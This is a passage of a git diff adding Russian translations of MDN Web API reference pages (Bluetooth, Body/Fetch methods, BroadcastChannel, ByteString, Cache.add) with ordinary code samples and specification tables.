+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#dfn-slice", "Blob.slice()")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Blob.slice")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Blob")}}</li>
+ <li>{{domxref("BlobBuilder")}}</li>
+</ul>
diff --git a/files/ru/web/api/bluetooth/index.html b/files/ru/web/api/bluetooth/index.html
new file mode 100644
index 0000000000..c2e255483c
--- /dev/null
+++ b/files/ru/web/api/bluetooth/index.html
@@ -0,0 +1,73 @@
+---
+title: Bluetooth
+slug: Web/API/Bluetooth
+tags:
+  - API
+  - Bluetooth
+  - Web Bluetooth API
+  - Экспериментальное
+translation_of: Web/API/Bluetooth
+---
+<div>{{APIRef("Bluetooth API")}}{{SeeCompatTable}}</div>
+
+<p>Объект <strong><code>Bluetooth</code></strong> интерфейса <a href="/Web/API/Web_Bluetooth_API">Web Bluetooth API</a> возвращает объект {{jsxref("Promise")}} объекту {{domxref("BluetoothDevice")}} с указанными параметрами.</p>
+
+<h2 id="Интерфейс">Интерфейс</h2>
+
+<pre class="syntaxbox">interface Bluetooth : EventTarget {
+  [SecureContext] Promise&lt;boolean&gt; getAvailability();
+  [SecureContext] attribute EventHandler onavailabilitychanged;
+  [SecureContext, SameObject] readonly attribute BluetoothDevice? referringDevice;
+  [SecureContext] Promise&lt;BluetoothDevice&gt; requestDevice(optional RequestDeviceOptions options);
+};
+Bluetooth implements BluetoothDeviceEventHandlers;
+Bluetooth implements CharacteristicEventHandlers;
+Bluetooth implements ServiceEventHandlers;</pre>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от родителя {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Bluetooth.referringDevice")}} {{readonlyinline}}</dt>
+ <dd>Возвращает ссылку на устройство, если таковое имеется, из которого пользователь открыл страницу. Например, Eddystone beacon может найти URL - адрес, который позволяет открыть строка агента адреса. Устройство Bluetooth предоставляет маяк, который будет доступен через <code>navigator.bluetooth.referringDevice</code>.</dd>
+</dl>
+
+<h3 id="События">События</h3>
+
+<dl>
+ <dt>{{domxref("Bluetooth.onavailabilitychanged")}}</dt>
+ <dd>Обработчик событий, который запускается при возникновении события типа {{event("availabilitychanged")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Bluetooth.getAvailability()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который возвращает {{jsxref("Boolean")}}, указывая, поддерживает ли браузер Bluetooth. Некоторфе браузеры дают возможность управлять возвращаемым значением этого метода.</dd>
+ <dt>{{domxref("Bluetooth.requestDevice()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}} объекту {{domxref("BluetoothDevice")}} с переданными параметрами.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Bluetooth', '#bluetooth', 'Bluetooth')}}</td>
+   <td>{{Spec2('Web Bluetooth')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на данной странице генерируется из структурированных данных. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить запрос.</div>
+
+<p>{{Compat("api.Bluetooth")}}</p>
diff --git a/files/ru/web/api/bluetoothremotegattserver/index.html b/files/ru/web/api/bluetoothremotegattserver/index.html
new file mode 100644
index 0000000000..f99ea7c5c1
--- /dev/null
+++ b/files/ru/web/api/bluetoothremotegattserver/index.html
@@ -0,0 +1,79 @@
+---
+title: BluetoothRemoteGATTServer
+slug: Web/API/BluetoothRemoteGATTServer
+tags:
+  - API
+  - Bluetooth
+  - BluetoothRemoteGATTServer
+  - Web Bluetooth API
+  - Интерфейс
+  - Определение
+  - Экспериментальное
+translation_of: Web/API/BluetoothRemoteGATTServer
+---
+<div>{{APIRef("Bluetooth API")}}{{SeeCompatTable}}</div>
+
+<p>Интерфейс <code><strong>BluetoothRemoteGATTServer</strong></code>, относящийся к <a href="/en-US/docs/Web/API/Web_Bluetooth_API">Web Bluetooth API</a>, представляет сервер GATT на удаленном устройстве.</p>
+
+<div class="note">
+<p>Данная страница описывает Web Bluetooth API от W3C Community Group. <a href="/en-US/docs/Archive/B2G_OS/API/BluetoothGattServer"><code>BluetoothGattServer</code> (Firefox OS)</a> - Bluetooth API в Firefox OS.</p>
+</div>
+
+<h2 id="Интерфейс">Интерфейс</h2>
+
+<pre class="syntaxbox notranslate">interface BluetoothRemoteGATTServer {
+  readonly attribute BluetoothDevice device;
+  readonly attribute boolean connected;
+
+  Promise&lt;BluetoothRemoteGATTServer&gt; connect();
+  void disconnect();
+  Promise&lt;BluetoothRemoteGATTService&gt; getPrimaryService(BluetoothServiceUUID service);
+  Promise&lt;sequence&lt;BluetoothRemoteGATTService&gt;&gt; getPrimaryServices(optional BluetoothServiceUUID service);
+};</pre>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.connected")}}{{ReadOnlyInline}}</dt>
+ <dd>Двоичное значение, равное <code>true</code>, если устройство <code>this.device</code> подключено. It can be false while the user agent is physically connected.</dd>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.device")}}{{ReadOnlyInline}}</dt>
+ <dd>{{DOMxRef("BluetoothDevice")}}, на котором работает сервер.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.connect()")}}</dt>
+ <dd>Подключение к устройству <code>this.device</code>.</dd>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.disconnect()")}}</dt>
+ <dd>Отключение от устройства <code>this.device</code>.</dd>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.getPrimaryService()")}}</dt>
+ <dd>Returns a promise to the primary {{DOMxRef("BluetoothGATTService")}} offered by the bluetooth device for a specified <code>BluetoothServiceUUID</code>.</dd>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.getPrimaryServices()")}}</dt>
+ <dd>Returns a promise to a list of primary {{DOMxRef("BluetoothGATTService")}} objects offered by the bluetooth device for a specified <code>BluetoothServiceUUID</code>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Bluetooth", "#bluetoothremotegattserver", "BluetoothRemoteGATTServer")}}</td>
+   <td>{{Spec2("Web Bluetooth")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.BluetoothRemoteGATTServer")}}</p>
+
+<div>{{APIRef("Web Bluetooth")}}</div>
diff --git a/files/ru/web/api/body/arraybuffer/index.html b/files/ru/web/api/body/arraybuffer/index.html
new file mode 100644
index 0000000000..ff9f6e699d
--- /dev/null
+++ b/files/ru/web/api/body/arraybuffer/index.html
@@ -0,0 +1,90 @@
+---
+title: Body.arrayBuffer()
+slug: Web/API/Body/arrayBuffer
+tags:
+  - АПИ
+  - Экспериментальный
+  - справочник
+translation_of: Web/API/Body/arrayBuffer
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>Метод <strong><code>arrayBuffer()</code></strong> из примеси(mixin) {{domxref("Body")}} берет поток(stream) {{domxref("Response")}} и читает его до завершения. Он возвращает промисс, который будет успешно завершен с помощью {{domxref("ArrayBuffer")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">response.arrayBuffer().then(function(buffer) {
+  // можно сделать что либо с буфером
+});</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нат параметров.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Промисс, который содержит {{domxref("ArrayBuffer")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В нашем примере <a href="http://mdn.github.io/fetch-examples/fetch-array-buffer/">живой загрузки с array buffer</a> есть кнопка Play. При нажатии на кнопку вызывается функция <code>getData()</code>. Стоит учесть что до проигрывания аудио файл будет скачан целиком. Если вам необходимо начать воспроизведение файла ogg во время загрузки (стримить аудио) - то лучше рассмотреть  {{domxref("HTMLAudioElement")}}:</p>
+
+<pre class="brush: js">new Audio(music.ogg).play()
+</pre>
+
+<p>В функции <code>getData()</code> мы создаем новый запрос используя конструктор {{domxref("Request.Request")}}, после этого используем его чтобы загрузить OGG звук. Мы также используем {{domxref("AudioContext.createBufferSource")}} чтобы создать ресурс аудиобуффера. При успешном завершении запроса, мы считываем {{domxref("ArrayBuffer")}} из ответа испозуя <code>arrayBuffer()</code>, декодируем аудио с помощью {{domxref("AudioContext.decodeAudioData")}}, устанавливаем раскодированные данные как ресурс аудио буфера (<code>source.buffer</code>), затем используем данные этого ресурса в  {{domxref("AudioContext.destination")}}.</p>
+
+<p>Когда функция <code>getData()</code> заканчивает свое выполнение, мы стартуем проигрывание аудио ресурса функцией <code>start(0)</code>, потом блокируем кнопку проигрывания для предотвращения повторного проигрывания (это может привести к ошибкам)</p>
+
+<pre class="brush: js">function getData() {
+  source = audioCtx.createBufferSource();
+
+  var myRequest = new Request('viper.ogg');
+
+  fetch(myRequest).then(function(response) {
+    return response.arrayBuffer();
+  }).then(function(buffer) {
+    audioCtx.decodeAudioData(buffer, function(decodedData) {
+      source.buffer = decodedData;
+      source.connect(audioCtx.destination);
+    });
+  });
+};
+
+// навешиваем обработчики старт и стоп на кнопку
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-body-arraybuffer','arrayBuffer()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Body.arrayBuffer")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/body/formdata/index.html b/files/ru/web/api/body/formdata/index.html
new file mode 100644
index 0000000000..5b80766e66
--- /dev/null
+++ b/files/ru/web/api/body/formdata/index.html
@@ -0,0 +1,62 @@
+---
+title: Body.formData()
+slug: Web/API/Body/formData
+translation_of: Web/API/Body/formData
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>Метод <strong><code>formData()</code></strong> из {{domxref("Body")}} принимает поток ответа {{domxref("Response")}} и считывает его до завершения. Он возвращает обещание, которое разрешается с помощью объекта {{domxref("FormData")}}.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong>  Это в основном относится к <a href="/en-US/docs/Web/API/ServiceWorker_API">service workers</a>. Если пользователь отправляет форму а service worker перехватывает запрос,  можно, например, вызвать <code>formData()</code> чтобы получить набор данных в формате ключ-значение, изменить некоторые поля, а затем отправить форму на сервер, или использовать её локально.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">response.formData()
+.then(function(formdata) {
+  // do something with your formdata
+});</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{domxref("Promise")}} которое разрешается с помощью объекта {{domxref("FormData")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Нужно добавить.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-body-formdata','formData()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Body.formData")}}</p>
+
+<h2 id="Также_смотрите">Также смотрите</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/body/index.html b/files/ru/web/api/body/index.html
new file mode 100644
index 0000000000..82ba54e53d
--- /dev/null
+++ b/files/ru/web/api/body/index.html
@@ -0,0 +1,99 @@
+---
+title: Body
+slug: Web/API/Body
+tags:
+  - API
+  - BODY
+  - Experimental
+  - Fetch
+  - Fetch API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - request
+translation_of: Web/API/Body
+---
+<div>{{ APIRef("Fetch") }}</div>
+
+<p><span class="seoSummary">The <strong><code>Body</code></strong> {{glossary("mixin")}} of the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> represents the body of the response/request, allowing you to declare what its content type is and how it should be handled.</span></p>
+
+<p><code>Body</code> is implemented by both {{domxref("Request")}} and {{domxref("Response")}}. This provides these objects with an associated <dfn>body</dfn> (a <a href="/en-US/docs/Web/API/Streams_API">stream</a>), a <dfn>used flag</dfn> (initially unset), and a <dfn>MIME type</dfn> (initially the empty byte sequence).</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("Boolean")}} that indicates whether the body has been read.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text). The response is <em>always</em> decoded using UTF-8.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The example below uses a simple fetch call to grab an image and display it in an {{htmlelement("img")}} tag. You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob","Body.blob()")}} ({{domxref("Response")}} implements body) to give the response its correct MIME type.</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"&gt;
+</pre>
+
+<h3 id="JS_Content">JS Content</h3>
+
+<pre class="brush: js">var myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg')
+	.then(res =&gt; res.blob())
+	.then(res =&gt; {
+		var objectURL = URL.createObjectURL(res);
+		myImage.src = objectURL;
+});</pre>
+
+<p>{{ EmbedLiveSample('Examples', '100%', '250px') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#body-mixin','Body')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Body")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/body/json/index.html b/files/ru/web/api/body/json/index.html
new file mode 100644
index 0000000000..649c5b60e6
--- /dev/null
+++ b/files/ru/web/api/body/json/index.html
@@ -0,0 +1,77 @@
+---
+title: Body.json()
+slug: Web/API/Body/json
+tags:
+  - Fetch-запрос
+  - Справка
+  - метод
+translation_of: Web/API/Body/json
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>Метод <strong><code>json()</code></strong> , определен на миксине {{domxref("Body")}}, который включён в объектах <a href="https://developer.mozilla.org/ru/docs/Web/API/Request" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Request</code></a> и <a href="https://developer.mozilla.org/ru/docs/Web/API/Response" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Response</code></a>, принимает и читает тело {{domxref("Response")}} stream. Возвращает promise (обещание), который, когда ответ будет получен, вызовет коллбэк с результатом парсинга тела ответа в {{jsxref("JSON")}} объект.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">response.json().then(function(data) {
+  // do something with your data
+});</pre>
+
+<h3 id="Аргументы">Аргументы</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Promise (обещание), который, когда ответ будет получен, вызовет коллбэк с результатом парсинга тела ответа в JSON объект. Этим может быть что угодно, что может быть представлено как JSON объект — объект, массив, строка, число...</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В нашем <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json примере</a> (запустите <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), мы создаем новый запрос, используя {{domxref("Request.Request")}} конструктор, в последствии мы используем его (запрос) для получения <code>.json</code> файла. Когда fetch запрос будет выполнен, мы прочтем и спарсим данные, используя <code>json()</code>, а далее вставим значения из полученного объекта в list элементы списка для отображения данных по нашему продукту.</p>
+
+<pre class="brush: js">var myList = document.querySelector('ul');
+
+var myRequest = new Request('products.json');
+
+fetch(myRequest)
+  .then(function(response) { return response.json(); })
+  .then(function(data) {
+    for (var i = 0; i &lt; data.products.length; i++) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '&lt;strong&gt;' + data.products[i].Name + '&lt;/strong&gt; can be found in ' +
+                           data.products[i].Location +
+                           '. Cost: &lt;strong&gt;£' + data.products[i].Price + '&lt;/strong&gt;';
+      myList.appendChild(listItem);
+    }
+  });</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-body-json','json()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, пожалуйста пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.Body.json")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/broadcastchannel/index.html b/files/ru/web/api/broadcastchannel/index.html
new file mode 100644
index 0000000000..2f7ce7b6a4
--- /dev/null
+++ b/files/ru/web/api/broadcastchannel/index.html
@@ -0,0 +1,74 @@
+---
+title: BroadcastChannel
+slug: Web/API/BroadcastChannel
+translation_of: Web/API/BroadcastChannel
+---
+<p>{{APIRef("Broadcast Channel API")}}</p>
+
+<p>Интерфейс <code><strong>BroadcastChannel</strong></code> представляет собой именованный канал, на который можно подписаться из любого {{glossary("контекста просмотра")}} данного {{glossary("источника")}}. Это позволяет настроить коммуницию между разными документами (в разных окнах, вкладках, фреймах и т.д.) одного источника. Сообщения распространяются с помощью события {{event("message")}}, выстреливающего для всех объектов <code>BroadcastChannel</code>, слушающих этот канал.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}</dt>
+ <dd>Создает объект, связанный с именованным каналом.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс также наследует свойства от своего родителя, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.name")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, имя канала.</dd>
+ <dt>
+ <h3 id="Обработчики_событий">Обработчики событий</h3>
+ </dt>
+ <dt>{{domxref("BroadcastChannel.onmessage")}}</dt>
+ <dd>{{domxref("EventHandler")}} свойство, определяющее функцию, которая будет запущена, когда произойдет вызов события {{event("message")}} на этом объекте.</dd>
+ <dt>{{domxref("BroadcastChannel.onmessageerror")}}</dt>
+ <dd>{{domxref("EventHandler")}}, который вызывается, когда приходит {{domxref("MessageEvent")}} типа {{domxref("MessageError")}} — когда приходит сообщение, которое не может быть десереализовано.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс также наследует свойства от своего родителя,{{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.postMessage()")}}</dt>
+ <dd>Отправляет сообщение любого типа объекта всем объектам <code>BroadcastChannel</code>, прослушивающим данный канал.</dd>
+ <dt>{{domxref("BroadcastChannel.close()")}}</dt>
+ <dd>Закрывает объект канала, указывая, что тот больше не будет получать новые сообщения, и позволяет сборщику мусора уничтожить его.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#broadcastchannel", "BroadcastChannel")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.BroadcastChannel")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>Another, more heavyweight, way of communicating between browser contexts: {{domxref("ServiceWorker")}}.</li>
+ <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel API overview</a></li>
+</ul>
diff --git a/files/ru/web/api/broadcastchannel/postmessage/index.html b/files/ru/web/api/broadcastchannel/postmessage/index.html
new file mode 100644
index 0000000000..17ea5ad451
--- /dev/null
+++ b/files/ru/web/api/broadcastchannel/postmessage/index.html
@@ -0,0 +1,52 @@
+---
+title: BroadcastChannel.postMessage()
+slug: Web/API/BroadcastChannel/postMessage
+tags:
+  - API
+  - Broadcast Channel API
+  - BroadcastChannel
+  - HTML API
+  - Определение
+  - Экспериментальное
+  - метод
+translation_of: Web/API/BroadcastChannel/postMessage
+---
+<p>{{APIRef("BroadCastChannel API")}}</p>
+
+<p><strong><code>BroadcastChannel.postMessage()</code></strong> отправляет сообщение, которое может быть любым {{jsxref("Object", "объектом")}}, каждому слушателю в {{glossary("browsing context", "контексте браузера")}} с тем же {{glossary("origin")}}. Сообщение передается в виде события {{event("message")}} к каждому <code>BroadcastChannel</code>, привязанному к данному каналу.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>str</em> = <em>channe<code>l</code></em><code>.postMessage(<em>object</em>);</code>
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#dom-broadcastchannel-postmessage", "BroadcastChannel.postmessage()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.BroadcastChannel.postMessage")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("BroadcastChannel")}}, интерфейс, к которому относится <strong><code>postMessage</code></strong>.</li>
+</ul>
diff --git a/files/ru/web/api/bytestring/index.html b/files/ru/web/api/bytestring/index.html
new file mode 100644
index 0000000000..01993390ee
--- /dev/null
+++ b/files/ru/web/api/bytestring/index.html
@@ -0,0 +1,34 @@
+---
+title: ByteString
+slug: Web/API/ByteString
+tags:
+  - Строки
+translation_of: Web/API/ByteString
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>ByteString</code></strong> является UTF-8 строкой, которая соответствует набору всех возможных последовательностей байтов. <code>ByteString</code> отображается как {{jsxref("String")}} при возврате в JavaScript; как правило, используется только при взаимодействии с протоколами, которые равнозначно используют байты и строки, например HTTP.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebIDL', '#idl-ByteString', 'ByteString')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/Web/API/DOMString">String</a></li>
+ <li><a href="/ru/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/ru/web/api/cache/add/index.html b/files/ru/web/api/cache/add/index.html
new file mode 100644
index 0000000000..f5745943e3
--- /dev/null
+++ b/files/ru/web/api/cache/add/index.html
@@ -0,0 +1,102 @@
+---
+title: Cache.add()
+slug: Web/API/Cache/add
+translation_of: Web/API/Cache/add
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p>Метод <strong><code>add()</code></strong> интерфейса {{domxref("Cache")}} принимает в качестве параметра URL, загружает его и добавляет полученный объект ответа в заданный кеш. Метод <code>add()</code> функционально эквивалентен соедующему коду:</p>
+
+<pre class="brush: js">fetch(url).then(function (response) {
+  if (!response.ok) {
+    throw new TypeError('bad response status');
+  }
+  return cache.put(url, response);
+})</pre>
+
+<p>Для более сложных операций, вам нужно использовать {{domxref("Cache.put","Cache.put()")}}.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: <code>add()</code> перезапишет любую пару ключ/значение, сохраненную ранее в кеше, соответствующем запросу.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="sytaxbox"><em>cache</em>.add(<em>request</em>).then(function() {
+  //запрос был добавлен в кеш
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>Запрос, который вы хотите добавить в кеш. Это может быть объект  {{domxref("Request")}}, либо URL.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который разрешается с пустым значением void.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Исключение</strong></th>
